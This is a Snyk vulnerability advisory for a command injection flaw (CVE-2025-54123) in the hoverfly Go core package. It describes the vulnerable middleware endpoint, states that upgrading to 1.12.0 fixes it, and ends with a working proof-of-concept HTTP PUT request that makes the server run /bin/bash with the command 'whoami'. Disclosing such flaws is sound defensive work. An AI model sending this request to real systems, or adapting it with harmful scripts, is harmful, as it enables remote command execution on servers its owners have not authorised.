Command Injection Affecting github.com/spectolabs/hoverfly/core package, versions <1.12.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMSPECTOLABSHOVERFLYCORE-12671221
- published17 Sept 2025
- disclosed10 Sept 2025
- creditKrishna Agarwal
Introduced: 10 Sep 2025
NewCVE-2025-54123 Â (opens in a new tab)How to fix?
Upgrade github.com/SpectoLabs/hoverfly/core to version 1.12.0 or higher.
Overview
Affected versions of this package are vulnerable to Command Injection via the /api/v2/hoverfly/middleware endpoint. An attacker can execute arbitrary system commands by supplying crafted input to the binary and script parameters, which are passed directly to command execution without proper validation.
Note: The implemented fix disables the middleware by default; However, if enabled, the middleware could still impose security issues.
PoC
PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: localhost:8888
sec-ch-ua-platform: "macOS"
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/dashboard
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 101
{
"binary": "/bin/bash",
"script": "whoami"
}